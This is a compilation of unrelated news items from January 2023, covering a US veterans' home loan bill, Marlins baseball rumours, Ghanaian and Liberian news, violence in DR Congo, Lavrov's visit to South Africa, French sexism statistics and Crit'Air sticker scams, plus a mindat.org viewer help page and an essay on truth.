Ryan himself enrolled in VA health care for the first time in December after the PACT Act allowed post-9/11 veterans who didn't previously enroll to do so. He said he found the experience harder than it needed to be since he was missing some paperwork and, rather than being able to show someone the copy he had in his email, he had to print out a hard copy and fax it.

"It's 2023, and I have to fax something to get access," he said. "You think about the number of people who might already be hesitant to go, then you go and it's not as smooth as it should be, and it just further dissuades people from getting the ultimate care they need or should have. So I'm not knocking the great people that work at the VA because they work hard and they really believe in the mission. But we've got to bring it into the 21st century in terms of a lot of the technology and the approach."

More immediately, Ryan said he's pushing for passage of his bill to expand VA home loan eligibility to more Guardsmen and reservists. Specifically, the bill seeks to ensure that any day Guardsmen and reservists are on federal active-duty status, including for training, counts toward home loan eligibility. Right now, Guardsmen are eligible after 90 days -- 30 of which must be consecutive -- of "full-time National Guard duty," but Guardsmen have said there are gaps in the law that cause them to be denied loans.

The bill passed the House in September, but was not taken up by the Senate before the end of the year. Sen. Jeanne Shaheen, D-N.H., introduced the companion bill in the upper chamber in December, and Ryan attributed the holdup in the Senate just to the fact that there was not enough time left in the year, adding that he's hopeful it will become law now that there's a full congressional session to take it up.

"I still think in a very divided moment politically, we are going to be able to come together around issues of national security, of taking care of veterans and military families, and I remain optimistic that we can do that," he said. "When there are other members and other folks who are in it for their own, whatever reasons of ambition or whatever reasons are causing them to politicize this stuff, we have to call them out. So I will certainly be doing that on behalf of all my fellow service members and veterans because we are more than those that have put their life on the line and those that are in harm's way right now."

-- Rebecca Kheel can be reached at rebecca.kheel@military.com. Follow her on Twitter @reporterkheel.

Related: Meet the Vets Running for Congress, the Largest Group of Candidates Who Served in a Decade
How to use the mindat.org media viewer

Click/touch this help panel to close it.

Welcome to the mindat.org media viewer. Here is a quick guide to some of the options available to you. Different controls are available depending on the type of media being shown (photo, video, animation, 3d image)

Controls - all media types

Zoom in and out of media using your mousewheel or with a two-finger 'resize' action on a touch device.

Use the mouse or your finger to drag the image or the view area of the image around the screen.

< and > at the left and right hand side of the screen move forwards and backwards for the other images associated with the media you selected. Usually this is used for previous/next photo in a gallery, in an article or in search results. Keyboard shortcuts: use shift + the left and right arrow keys.

< and > in the bottom center are used for switching between the photos of the same specimen. Keyboard shortcuts: use the left and right arrow keys.

> in the bottom center, raises the information box giving details and further options for the media, < at the top of this box then hides it. Keyboard shortcuts: use the up and down arrow keys.

? opens this help window. Keyboard shortcuts: use the H key or the ? key.

Other keyboard shortcuts:

1 Fit image to screen 2 Fill screen with image 5 Display at full resolution < Make background darker > Make background lighter space Hide/dim titles and buttons

Scalebar

If the field of view (FOV) is specified for the photo, the scalebar appears in the left bottom corner of the viewer. The scalebar is draggable and resizeable. Drag the right edge to resize it. Double click will reset the scalebar to it's default size and position. If the scalebar is in default position, double click will make it circular.

Controls - Video

Video files have a standard set of video controls: - Reset to start, - Skip back, - Play, - Pause, - Skip forwards. Keyboard shortcuts: You can stop/start video play with the P key.

Controls - Animation (Spin Rotation)

Animation (usually 360 degree spin rotations) have their own controls: - enable spin mode. Note that while images are loading this option will not be available but will be automatically activated when the animation has loaded. Once active you can spin the image/change the animation by moving your mouse or finger on the image left/right or by pressing the [ or ] keys.

The button switches to move mode so that you can use your mouse/fingers to move the image around the screen as with other media types.

The button, or the P key will start playing the animation directly, you can interrupt this by using the mouse or finger on the image to regain manual movement control.

Controls - 3D Stereoscopic images

If a stereoscopic 3D image is opened in the viewer, the 3D button appears in the bottom right corner giving access to "3D settings" menu. The 3D images can be viewed in several ways:

- without any special equipment using cross-eyed or parallel-eyed method

- with stereoscope

- with anaglyph glasses.

- on a suitable 3D TV or monitor (passive 3D system)

For details about 3D refer to: Mindat manuals: Mindat Media Viewer: 3D

To enable/disable 3D stereo display of a compatible stereo pair image press the 3 key. If the left/right images are reversed on your display (this often happens in full-screen mode) press the 4 key to reverse them.

Controls - photo comparison mode

If a photo with activated comparison mode is opened in the viewer, the button appears in the bottom right corner giving access to "Comparison mode settings" menu.

Several layouts are supported: slider and side by-side comparison with up to 6 photos shown synchronously on the screen. On each of the compared photos a view selector is placed, e.g.: Longwave UV . It shows the name of currently selected view and allows to select a view for each placeholder.

Summary of all keyboard shortcuts
The Marlins have scaled back their efforts to sign baseman Yuli Gurriel, per Craig Mish of the Miami Herald, who reports that theyve stopped any aggressive pursuit of the former Astros infielder. MLB.com had reported over the weekend that the Marlins were moving toward a deal with the 38-year-old Gurriel. The addition of another first baseman remains possible, Mish adds, but Gurriel doesnt appear likely to land with the Fish at this point.

Its something of an about-face for a Marlins team that looked to be gearing up for the addition of a second premium contact hitter just days after acquiring Luis Arraez from the Twins. Gurriel has fanned in just 11.2% of his 3305 Major League plate appearances since signing with the Astros in 2016; this past seasons 12.5% strikeout rate was a career-high for Gurriel, but it was also still more than ten percentage points better than the league average.

The Marlins reportedly had interest in using Gurriel at multiple positions, bouncing him between first base, second base and third base. Thatd be a change for Gurriel, who outside of two innings at the hot corner in 2021, has been exclusively a first baseman for each of the past three seasons. Gurriel generally has a strong defensive track record, though metrics like Defensive Runs Saved (-2) and Outs Above Average (-9) soured on him in 2022 just one year after he won a Gold Glove in 2021.

If Miami is still seeking another option at first base, the free-agent market has largely been picked over but still has a few options. Old friend Jesus Aguilar remains unsigned, as do sluggers Luke Voit and Miguel Sano. Like Gurriel, all three are in search of a rebound campaign from lackluster performances and/or injury. Miami currently projects for a $103MM payroll, per Roster Resource, which would be only the third time topping $100MM in franchise history. Its not clear just how much Miami has left to spend, though their weekend link to Gurriel clearly suggests theres at least a bit of payroll capacity left.

Its been a generally quiet winter with regard to Gurriel, although Daniel Alvarez Montes of El Extra Base reported over the weekend that the Twins were also in the mix to acquire his services. Its not clear at this time if the dwindling talks with Miami are reflective of progress on the Twins behalf.

Minnesota added another right-handed bat last night when acquiring Michael A. Taylor from the Royals, though Gurriel would give them another contact-oriented infield bat to help offset Arraezs departure. Former top prospect Alex Kirilloff seems likely to handle first base for the Twins in 2023  assuming hes recovered from a pair of wrist surgeries (one in 2021 and another in 2022). Gurriel would give them an experienced righty bat to pair with the lefty-hitting Kirilloff, and he could mix in at designated hitter as well, where Minnesota currently looks like theyll cycle through a number of options.
What could have rather been a congratulatory message to his colleague, Shatta Wale rather threw shades at Sarkodie for doing a song with a "ghost."

The most decorated African rapper, Sarkodie, recently made a huge gain by appearing on the legendary Bob Marleys "Stir It Up" track remix.

As expected, the news attracted mixed reactions on various new media platforms and also in mainstream media.

On his part, the "Melissa" hitmaker noted sarcastically in an interview on Kumasi-based Luv FM that Ghanaians should praise Sarkodie for being the first person to feature a "ghost" on a song.

"As we hear, Sarkodie has featured Bob Marley; its so beautiful; at least we have someone who has featured a ghost; we should praise him," Shatta Wale indirectly jabbed Sarkodie.

When asked about how he feels about such comments on his achievement while engaging his Sark Nation fanbase in a Twitter space, the rapper turned awry on Shatta Wales comments but noted that he is optimistic people are happy with the feature.

"I havent checked social media that much, but I think everybody is happy for what has happened unless Im proven wrong," he said.

When pushed to respond to Shatta Wales comments, Sarkodie skillfully said, "Thats not bad; I take it as a compliment."

Meanwhile, the audio and visuals of Bob Marley and the Wailers remix featuring Sarkodie were released on all digital streaming platforms on Friday, January 20.
Seasoned Nigerian actress, Patience Ozokwor has opined on her eagerness to always maintain her marital home regardless of the stumbling block.

The controversial filmmaker noted that she will never leave her husband because he cheated on her.

She indicated that the second woman will take over if she leaves.

Speaking on colleague actress Mercy Johnsons Youtube cooking show, "Mercys Menu," Mrs. Ozorkwor noted that it is better to stay in your marriage to fix the mess than to let the second woman, whom she described as a "visitor," take over completely.

"Me, Im not going to leave my house for anybody; you are the visitor that came in. Find your way out," she is quoted by Pulse Ghana on whether she will leave her man because of infidelity.

"I will so hold my family, so polish it and sweep out all the debts, and then have a peaceful home again," she added.

Taken aback by her unusual answers, the host, Mercy, again asked, "Even when the infidelity is constant?"

In response, the actress, who is known widely also as Mama G stressed, "If infidelity is constant, it is the one that is an infidel that should go out. Im not leaving my house for anybody."

"God is not against separation. What God doesnt want is divorce. God is not saying we should not divorce because sometimes he does not know that we have violatedno," she added.

The multiple award-winning filmmaker attributes her answers to her faith as a Christian, indicating that the religion doesnt permit divorce.

According to her, so she will only leave when her life is in danger.

"Coming from a Christian background, we are not allowed to divorce.

"If you pray and the man turns around to become something else, escape for dear life because it is only those who are alive that can tell the story. When you are dead, nobody can tell your story for you," she noted.

Patience Ozokwor continued, "For me, marriage is forever till death do us part. That is the way I brought up my children. What we have today baffles me."

"I feel for the children that theyre giving birth to because I dont know how they would learn something better from their parents," she stressed.

Watch the full show below;


Suspected Allied Democratic Forces fighters have killed at least 23 people in an attack in eastern DR Congo, local officials said Monday, in the latest violence in the turbulent region.

The attack occurred overnight on Sunday in the village of Makugwe, in the Beni area of North Kivu province, said local civil society figure Roger Wangeve, who put the death toll at 24.

"The ADF surprised 17 people in a small bar where they were drinking beer, and executed them," he said.

Wangeve added that militants also looted and torched several homes and shops in the village, and carried off several villagers into the bush.

Provincial deputy Saidi Balikwisha, who was in Makugwe during the attack, said 23 were killed and three others are missing.

He urged an increased military presence in the area.

AFP was unable to independently confirm the death toll resulting from the attack.

Colonel Charles Omeonga, the Congolese military administrator of Beni territory, told AFP that soldiers were "in pursuit of the enemy", who he said were hiding among the local population.

The ADF is one of the deadliest groups in eastern Democratic Republic of Congo, a volatile region which has been plagued by militia violence for decades.

The militia -- which the Islamic State group claims as its central African affiliate -- has been accused of slaughtering thousands of Congolese civilians and carrying out bomb attacks in Uganda.

On January 15, suspected ADF operatives detonated a bomb in a church in North Kivu, killing at least 14 people and injuring another 63.
South Africa said on Monday it was "friends" with Russia, as it hosted Russia's top diplomat for a visit that has sparked criticism against the backdrop of the war in Ukraine.

A continental powerhouse, South Africa has refused to condemn Moscow's invasion of Ukraine and last week announced it will host joint maritime drills with Russia and China in February.

Minister of International Relations Naledi Pandor defended the move on Monday as she welcomed her counterpart Sergei Lavrov for talks in Pretoria.

"All countries conduct military exercises with friends," Pandor told a press conference after the talks.

She thanked Lavrov for the "most wonderful meeting", which she earlier said would have helped "strengthen the already good relations", with what she described as a "valued partner".

South Africa recently assumed the chairmanship of the BRICS, a grouping that also includes Brazil, Russia, India and China to challenge the dominant US and European-led global governance structures.

It has resisted taking sides over the war in Ukraine, that has triggered sweeping Western sanctions against Moscow and attempts to leave it diplomatically isolated.

But the links with Moscow have triggered criticism, with some accusing the government of having abandoned its neutral stance.

'Openly siding with Russia'

"It is becoming increasingly clear that the South African government is openly siding with Russia," said Darren Bergman, a lawmaker with the main opposition Democratic Alliance (DA) party.

Members of the Ukrainian community in South Africa protested against Lavrov's visit. By - (AFP)

"Friendly engagement" with Russia was "not appropriate" unless aimed at persuading it to end its involvement in Ukraine, he said.

Lavrov said Moscow appreciated "the independent, well-balanced and considerate approach" taken by Pretoria.

Russia did not "refuse negotiations" with Ukraine, he added.

"But those who refuse must understand that the longer they refuse, the more difficult it is to find a solution," he said.

Officials in Moscow have blamed the closure of diplomatic channels on Ukrainian President Volodymyr Zelensky, who has said he will not negotiate while Russian leader Vladimir Putin is in power.

Despite the public overtures, the Kremlin has so far shown little willingness to soften its approach on the ground.

In Pretoria, members of Ukrainian community in South Africa held a small protest against the visit, with some waving signs reading "Go home Lavrov" and "Stop the lies! Stop the war".

More than 350 South African army personnel are to take part in the joint naval exercises scheduled for February 17 to 27, off the port city of Durban and Richards Bay.

Last week, the foundation of late South African Archbishop Desmond Tutu, a Nobel Peace Prize winner, called the planned naval exercises "disgraceful" and "tantamount to a declaration that South Africa is joining the war against Ukraine".
Despite the #MeToo movement, sexism remains at an "alarming" level in France with many young men seeing discriminatory or violent behaviour against women as acceptable, a report by France's High Authority on Equality (HCE) revealed.

"Sexism is not decreasing in France. On the contrary, some of its most violent manifestations are worsening and the younger generations are most affected," the HCE wrote in its report published Monday, describing the situation as "alarming".

Based on a study of 2,500 people, the HCE, an independent, consultative body, found that while most respondents rejected sexism in principle, "they fail to reject it in practice".

While there has been "undeniable progress in women's rights" the HCE found that five years after #MeToo "French society remains deeply sexist in all spheres" with sexist stereotypes and cliches proving hard to counter, particularly among the 25-34 age group.

Forced to change behaviour

Thirty-seven percent of respondents said they had experienced non-consensual sex, including unprotected sex at the behest of their partner (12 percent) and sex under the influence of alcohol or drugs (7 percent).

Ninety percent of women questioned said they had altered their daily behaviour because of sexism  half had stopped going out, doing activities alone or dressing as they please.

Eighty percent of women questioned considered they were "less well treated" in their lives than men because of their gender.

'Masculinist' cliches

Men, however, found it difficult to "feel concerned" or did not feel personally responsible for sexist behaviour, the report found.

A quarter of them downplayed sexual violence saying "too much attention [was] being paid to sexual assaults".

The report highlighted "masculinist cliches" among the 25-34 age group  around 20 percent said you had to brag about sexual exploits "to be respected as a man" in society, while nearly a quarter of men said they "sometimes had to be violent to gain respect".

Regardless of age, 40 percent felt it was normal that women stop working to take care of children.

Only half of the under-35s judged the image of women in pornography was "problematic", compared to 79 percent of those aged 65 and over.

The HCE identified a male "backlash" across French society, with "masculinist raids" on social media aimed at "silencing or discrediting" women.

It attributed the worsening situation to new phenomena such as online violence, verbal abuse on social media and porn productions with "barbaric" content.

The vast majority of respondants said French authorities were not doing enough to tackle the issues.

Campaign to change mentalities

"Ordinary sexism is a breeding ground for violent sexism," HCE president Sylvie Pierre-Brossolette told French news agency AFP.

"To fight against it, we need to take measures that influence mentalities from a very young age."

She called "massive action" in education and more stringent regulation of the online sphere.

She also advocated the creation of a public, independent authority to fight sexist violence in politics, after several MPs were embroiled in sexual harassment scandals last year.

To change mentalities, the HCE recommended a ban on gendered toys for children and making public funding conditional for companies conditional on them respecting gender equality.

Pierre-Brossolette will hand President Emmanuel Macron the report on Wednesday as France marks anti-sexism day.

HCE is running an advertising campaign for public and private media with the slogan: "We don't always know how sexism begins, but we know how it ends".
Madam Adwoa Adutwumwaa Boadi, Women's Organiser of Friends of Bawumia, says she will contest the Ahafo Ano South-West Constituency Seat in the parliamentary primary of the New Patriotic Party (NPP) to bring development to the constituency.

She made this known when she interacted with NPP delegates at Mankranso in the Ahafo Ano South-West Constituency of the Ashanti Region, a statement issued by Mr Emmanuel Nkrumah-Fotiah, the Communications Officer of Madam Boadi's Campaign Team said.

Madam Boadi, an accountant, urged women to participate actively in partisan politics to contribute their quota towards the national development agenda.

She noted that women, when given the nod, could play key roles in governance through policy and decision-making.

She promised to transform Ahafo Ano South-West through developmental projects when voted for as the Member of Parliament.

GNA
23.01.2023 LISTEN

Dr. Benetta Collins Andrews was nominated as the Physicians/Surgeons Representative to LMDC and subsequently elected as the Chairperson during the first council sitting, replacing Dr. Linda Araminta Birch.

She is a Specialist Pediatrician currently serving as the Assistant Secretary General of the Liberia College of Physicians and Surgeons (LCPS), the Government of Liberias flagship program for postgraduate medical education where specialized Doctors are trained locally. In concert with the Ministry of Health, those Doctors are thereafter deployed to hospitals around the country in order to provide advanced medical care that would otherwise be sought outside the country at the peril of the economically challenged citizens.

Narrowing disparities in health care delivery and developing a vibrant human resource base for health are top priorities of her vision for medical practice in Liberia. Dr. Andrews has a particular interest in the field of infectious disease, a passion which prompted her to voluntarily join the fight against the 2014 West Africa EBOLA virus outbreak and the recent Corona virus pandemic serving as WHO Technical Assistant and Case Management Physician respectively. She is actively involved with clinical research. Dr. Andrews served as Site Pediatrician for the PREVAC EBOLA Vaccine Study. She was also the Clinical Investigator for the first malaria drug efficacy study in Liberia, using two artemisinin-based combination therapies. Dr. Andrews has served as Principal Investigator and Co-Principal Investigator in several clinical studies, some of which have produced acceptable abstracts for presentation at world class infectious disease conferences like that of the American Society of Tropical Medicine and Hygiene. She is a lead author of a SAGE Journal research article entitled Presentation and Treatment Outcomes of Liberian Children Age 5 Years and Under Diagnosed with Severe Malaria in collaboration with the University of Massachusetts. Dr. Andrews concomitantly serves as a part-time lecturer of clinical pediatrics at the A. M. Dogliotti College of Medicine, University of Liberia.

Dr. Andrews, a product of the Firestone Plantation School System, is a graduate of the Konola Academy Seventh Day Adventist Mission High School. She holds a Bachelors of Science degree in Biology, minoring Chemistry and a Doctor of Medicine degree from the T. J. R. Faulkner College of Science and Technology and the A. M. Dogliotti College of Medicine respectively. Some of her major scholastic achievements at the medical school include awards for the Highest Cumulative Average in her final year class and Overall Best Performances in Medicine, Public Health, Pharmacology and Psychiatry. Dr. Andrews is also an alumnus of the prestigious US State Department sponsored Hubert H. Humphrey Fellowship program that afforded her an opportunity for postgraduate studies in Global Health with emphasis in HIV/AIDS Policy and Prevention at Emory University, Atlanta, Georgia. She is a member of the Liberia College of Physicians and Surgeons, a member of the West African College of Physicians and also a member of the American Society of Tropical Medicine and Hygiene. Dr. Andrews has had many professional development opportunities locally and internationally including certificates in supervision from the American Management Association, USA, in malaria control from the Jiangsu Institute of Parasitic Diseases, Wuxi, Peoples Republic of China and postgraduate nutrition, a collaboration between Nestle Nutrition and the Boston University School of Medicine. Dr. Andrews also holds certificates in Faculty Development and Mentorship through a collaborative program between the University of Liberia College of Health Sciences and the Vanderbilt Institute of Global Health. She currently serves as the Vice Chair of the Scientific Advisory Committee of the Liberia Medicines and Health Products Regulatory Authority (LMHRA) and 2nd Vice Chair of the Liberia Coordinating Mechanism, the Global fund supervisory team for Liberia.

The Liberia Medical and Dental Council (LMDC) was established in 2010 by an act of the National Legislature to be autonomous with exclusive powers and authority to regulate and monitor medical practice within the Republic of Liberia.
A memorial is seen for Amplitude FM journalist Martinez Zogo in Yaounde, Cameroon, on January 23, 2023. Zogo went missing on January 17 and was found dead on Sunday. (AFP/Daniel Beloumou Olomo)

23.01.2023 LISTEN

In response to news reports that Cameroonian journalist Martinez Zogo was found dead on Sunday, the Committee to Protect Journalists issued the following statement calling for those responsible to be brought to justice:

Cameroonian authorities must conduct a swift and thorough investigation into the shocking abduction and killing of journalist Martinez Zogo, said Angela Quintal, CPJs Africa program coordinator. Zogos brutal death is only the most recent attack on press freedom in Cameroon, which remains one of Africas worst jailers of journalists, and where there remains a woeful lack of information on the 2019 death of journalist Samuel Wazizi in government custody.

Unidentified attackers abducted Zogo, editor-in-chief of the privately owned radio broadcaster Amplitude FM, on January 17. He had recently reported on alleged public embezzlement involving a prominent businessman. The attackers chased Zogo to the gate of a gendarmerie office near his home, where he had sought help, and then kidnapped him, according to those news reports.

The journalists widow told CPJ by phone that she identified Zogos body at a morgue in the capital city of Yaounde on Sunday. Media reports said the body had been found naked, mutilated, and in a state of decomposition in the nearby town of Soa.

Cameroonian journalist Samuel Wazizi died in government custody in August 2019, but authorities failed to inform Wazizis family of the death for nearly a year. CPJ has called for Cameroonian authorities to account for Wazizis death.
The University of Ghana security has arrested an individual with a fake student ID who was being influenced by some persons to pose as a stranded student just for media attention.

The management of the University in a statement said the individual confessed to living in Commonwealth Hall illegally last academic year.

According to the statement, the individual confirmed that he was lured to pose as a stranded student and slept in front of Commonwealth Hall, to gain media attention.

It has come to the attention of Management of the University of Ghana that some unscrupulous individuals are influencing students of the University and other persons to pose as stranded former students of Commonwealth Hall.

One of such persons, being used to attract media attention, was arrested by University Security and has confessed to living in Commonwealth Hall illegally last academic year. He confirmed that he was lured to pose as a stranded student and slept in front of Commonwealth Hall during the night of Monday, January 16, 2023, to gain media attention. He has been handed over to the police for further investigations.

Management of the university assured students, parents and the general public that all former legal residents of Commonwealth Hall and male students of Mensah Sarbah Hall have been duly assigned rooms at UGEL halls.

The statement added that measures have also been put in place to assist students who have genuine financial difficulty with paying the residential fees in the UGEL Halls. Academic work is proceeding peacefully, and the University assures all students that adequate measures have been put in place to ensure their safety and well-being.

Students are encouraged to be alert and report to the appropriate authorities, individuals who seek to entice them to disturb the peace on the University campus.

Any student found to be involved in such acts will face appropriate disciplinary processes. We look forward to a fruitful and productive academic year.

By Citi Newsroom
The government has made significant progress in its talks with the Ghana Association of Banks (GAB) in relation to the Domestic Debt Exchange Programme (DDEP).

In a joint press release on Monday by the Ministry of Finance and the Ghana Association of Banks, it said it has made progress on the terms for the participation of Banks in the Domestic Debt Exchange Programme.

The agreement encompasses final improvements to the terms of the DDEP including an agreement to pay a 5% coupon for 2023 and a single coupon rate for each of the twelve (12) new bonds, resulting in an effective coupon rate of 9%.

Whilst there is now clarity on the operational framework and terms of access to the Ghana Financial Stability Fund (GFSF), an agreement has also been reached for the removal or amendment of all clauses in the Exchange Memorandum that empower the Republic to, at its sole discretion, vary the terms of the Exchange.

Meanwhile, the GAB recognises the progress made and notes that participation of its member banks in the DDEP, per the new terms, is subject to each individual bank's internal governance and approval processes, but, in any case, not later than 30th January 2023.

This is a significant milestone towards addressing our economic challenges, and will thus help to restore macro-economic stability and accelerate Ghana's economic growth. With this achievement, the Government of Ghana reiterates its commitment to concluding the DDEP in time, with all other stakeholders, the joint press release said on Monday evening.

Below is a copy of the release:
The Director-General of the Ghana Health Service (GHS), Dr. Patrick Kuma-Aboagye has described as normal, the expiration of over one million COVID-19 vaccines.

He however assured that expired vaccines will not be given out to the public.

His comments are a response to one of two queries captured in the Auditor Generals latest report on governments COVID-19 expenditure.

He further gave some factors responsible for the expiration rate.

It is normal to have 5 to 10% of the vaccines expire because when you go to a village and you have a package that contains 20 doses, and you open and only have 10 patients present, you cannot use the rest the following day.

Wastage is bound to happen, but there is a limit. The disposal is not as simple as it is. There is a technical way we do it, together with the FDA, Dr. Kuma-Aboagye said in an interview with Bernard Avle on the Citi Breakfast Show.

The Auditor-General in its report on governments COVID-19 expenditure between March 2020 to June 2022 also said that the Ghana Health Service spent over GH600,000 on the compilation of information on the treatment and isolation centres even though the Ministry of Health already had the data.

Reacting to the report, the Director-General of the Ghana Health Service said those are our facilities. We have 6000 facilities across the country. They are run by the District and the Regional directors. Apart from what the Ministry is collating, the Regional Director for management purposes also needs to look at it.

The level of detail May thus not be the same as what we have. We are doing our own for management purposes and treatment of cases. They may not be the same. So we can't say they were duplicated.

By Citi Newsroom
As more French motorists conform to evironmental rules by registering their vehicle's emissions via graded Crit'Air car stickers, police warn that a rising number of fraudulent websites are scamming car owners buying the eco-rating sticker online.

With the gradual introduction of low-emission zones across France, more people are taking to the internet to purchase their Crit'Air stickers.

The anti-pollution scheme was launched in 2017 and consists of a colour-coded system that identifies a vehicle's emissions.

Graded over six categories  from green at the top, to dark grey at the bottom  the least polluting vehicles are afforded preferential parking and traffic conditions.

Since the scheme's inception in Paris five years ago, sticker scams have gathered pace.

According to William Hippert, head of the Strategic Analysis Service of Organised Crime (Sirasco) police unit, the Crit'Air scams hit a high in 2022.

While some 43 scams were reported in 2020 and 2021, that number rose to 56 last year, including a spike of 38 between July and December.

"These statistics are probably below the reality, but they show an acceleration," Hippert said.

Two types of scam

French police have identified two main types of online fraud. The first consists of creating a fake website that is well referenced and uses the visual codes and layout of the official website, where potential victims are invited to give their bank details.

The second uses the technique of "phishing" by SMS or email from illegally created databases to direct the victim to the fraudulent site.

"After an initial call, the scammer phones the victim pretending to be their banker to warn them that they have been scammed and asks for access to their accounts to supposedly cancel the transaction," Hippert explains.

At the end of 2022, one person transferred 10,700 to an account in Spain, another 3,000 to Lithuania.

The Crit'Air sticker  which costs 3.72  can only be obtained on the official government website and bank details are never demanded.

Currently, 11 cities have set up low-emission zones requiring the payment of a sticker, including greater Paris, Lyon and Strasbourg.

By 2025, 43 French towns with a population of over 150,000 inhabitants will have to roll out their low-emission zones in accordance with France's climate laws.
24.01.2023 LISTEN

It is lamentable that truth has become the scarcest commodity in our world, including people from all religious persuasions. It is even more regrettable that people who claim to be the followers of the one who boldly claimed to be the embodiment of truth are the ones whose words cannot be trusted. We cannot build trust and credibility without the truth. How can we be the mouthpiece of the Gospel of Christ if our words cannot be trusted? It behooves us to promote the truth in our world if it is essential for our society's survival.

Some years ago, I talked with a Ghanaian woman about establishing a church in Ghana to preach or teach Biblical Truth. The woman responded, "Pastor Steve, did you say you want to establish a church in Ghana to teach the truth of the gospel? I answered in the affirmative, and the lady responded, "Then do not expect many people in your church!" She told me Ghanaian Christians want to hear about their spiritual state, what the future holds for them, how pastors can ward off evil forces from their lives, and how they can help them overcome their economic challenges, even though that is not the primary purpose of the gospel.

About 15 years ago, a friend in Amsterdam called me and said, "I have asked a woman going through a marital problem to call you because I know you would tell her the truth." The woman called me, and I talked with her for more than an hour. After listening to her attentively and asking follow-up questions, I concluded her problem was not spiritual but behavioral and attitudinal. I told her she needed more counseling than prayers and that while I intended to pray with her, I would focus more on counseling. You know what? I did not hear from her again. Later my friend called and said, "Probably you should not have given her the naked truth like that because she thought her problem was spiritual and needed a pastor who would just pray with her."

So my question is: Do humans want the truth, and does the truth matter? And how can we promote truth if it is critical for societal survival? First, what is the truth? St Aquinas said: "A judgment is said to be true when it conforms to the external reality." Truth is the quality or state of being by fact or reality. It refers to the conformity of a statement or proposition to reality. The concept of truth is central to many fields, including philosophy, logic, and science. In philosophy, the concept of truth is closely linked to ideas of knowledge, belief, and justification. In logic and mathematics, truth refers to the correspondence of a statement to the facts or the rules of logical inference. In science, truth refers to the correspondence of a theory or hypothesis to empirical evidence.

In the Bible, Jesus said, "I am the way, the truth, and the life" (John 14:6). This statement is one of the most significant claims that Jesus made about himself. The statement "I am the truth" can be interpreted in many ways, but it is generally understood to mean that Jesus is the embodiment or personification of truth. In this context, "truth" can be understood as the ultimate reality or standard of what is true and right. By saying, "I am the truth," Jesus claims to be the source of all truth and the ultimate authority on what is true and right. It can also mean Jesus' words were truthful, not just in a literal sense but in a moral and spiritual sense, meaning that all his words and actions were truthful and authentic.

St. Augustine of Hippo, one of the most influential figures in the development of Christian theology, maintained that truth is ultimately rooted in God, revealed through scripture and the inner workings of the human mind. For Augustine, truth includes objective facts and subjective aspects such as beauty and goodness. Epictetus, a Greek Stoic philosopher, had a different understanding of truth than Augustine. Epictetus believed that one could not know the truth through words or language but through actions and events. He taught that true wisdom is the ability to understand the nature of things and act according to that understanding. Epictetus believed that the goal of human life is to understand the nature of reality and to live by it

Plato, the ancient Greek philosopher, had a complex understanding of truth. He believed that truth is objective and eternal and that humans can discover truth through reason and contemplation. He believed that knowledge is not just a matter of knowing facts but understanding the underlying reality or essence of things and that the human soul can know the truth, but it can be hindered by the distractions of the physical world and the limitations of the human body.

Immanuel Kant, arguably one of the foremost thinkers of the Enlightenment and one of the greatest philosophers of all time, maintained that truth-telling is a "perfect duty," one so basic that it cannot be overridden by other valuesnot even saving the life of a friend, let alone saving the feeling of a friend. For Kant, lying is always wrong, no matter what. He believed that lying is wrong on two fronts: First, lying corrupts the moral capacity of humans, and second, lying prevents others from acting rationally and freely. In other words, lying undermines the dignity of other humans.

The question is: Does the truth matter for societal survival? The truth matters because it is a fundamental aspect of human life and society. It is essential for understanding the world around us, making informed decisions, and building trust and credibility in our interactions with others. Knowing the truth about the world around us helps us make sense of our experiences and navigate our environment. It enables us to understand the causes of events and predict our actions' outcomes. The truth helps us to make informed decisions: Having accurate information is crucial for making informed decisions. Without the truth, we may make decisions based on falsehood or misinformation, which can lead to negative consequences.

Truthfulness is a cornerstone of trust and credibility in our relationships. When we know someone is truthful, we can trust them and rely on them. On the other hand, when we suspect someone is not being truthful, it erodes trust and makes it challenging to build strong relationships. Truth is necessary for understanding and addressing social issues such as discrimination, inequality, and injustice. Without the truth, we cannot understand the natural causes of these problems, and we cannot develop practical solutions to address them. Truth is essential for scientific and technological progress. Scientific research and technological development would be hindered without a commitment to discovering the truth.

So what motivates us to seek the truth? People may have different motivations for seeking the truth, and not all individuals may place the same importance on discovering or understanding the truth. Some people may be highly motivated to seek out the truth in various areas of their lives, such as their personal beliefs, professional pursuits, or understanding of the world around them. Others may be less motivated to do so and may be content with their current understanding of things. Some people may have a greater inclination to seek the truth, while others may be more comfortable with their current understanding of things. People may seek the truth in different circumstances and for different reasons. For example, scientists may seek the truth in their research to advance knowledge and understanding.

Some people may reject the truth when it conflicts with their beliefs, values, or interests. For example, a person may reject scientific evidence that contradicts their religious beliefs. A case in point was the disagreement between Galileo's geocentric and heliocentric discoveries and the ensuing controversy with the Catholic Church. Additionally, people may be more likely to reject the truth if they perceive that the truth is threatening or uncomfortable. Sometimes people have a cognitive bias to reject information that contradicts their current beliefs, called cognitive dissonance.

We live in a world where falsehood is well established and the truth eliminated. And now, scholars are talking about the post-truth world. There has been a moral inversion where evil has become good and good has become evil. We live in a scary world where all norms and ethos have evaporated, and individuals are doing what they consider right in their own eyes. The philosopher Friedrich Nietzsche maintained that "Sometimes people do not want to hear the truth because they do not want their illusions destroyed." Others have argued that the truth sounds good in theory, especially if it's the truth we agree with or that puts us in a favorable light.

In 2009 researchers at the University of Illinois and the University of Florida analyzed data from 91 studies involving nearly 8,000 participants in the debate on whether people actively avoid information that contradicts what they believe or whether they are simply exposed more often to ideas that conform to their own because they tend to be surrounded by like-minded people? The studies asked participants about their views on a given topic and then allowed them to choose whether they wanted to view or read information supporting their own or an opposing point of view.

The researchers found that "people are about twice as likely to select the information that supports their point of view (67 percent) as to consider an opposing idea (33 percent). The study also concluded that "certain individuals, those with close-minded personalities, are even more reluctant to expose themselves to differing perspectives." They would choose the information corresponding to their views: about 75 percent of the time. Others have also observed that the truth is often emotionally painful and intense. To come face-to-face with certain truths has been a terrifying experience for some people. Moreover, the human brain is good at creating fiction.

We have the moral obligation to promote the truth in our world if the truth is essential for the survival of societies. Promoting truth in societies can be a complex and challenging task, as different people may have different understandings of what constitutes truth and may be influenced by various factors such as personal experiences, beliefs, and biases. Nevertheless, we must find ways to promote the truth for the betterment of society. Some ways to promote truth in society include encouraging critical thinking and skepticism, encouraging people to question claims, examine the evidence, and think critically about information. We must create and foster an open dialogue and debate environment: Allowing different perspectives to be heard.

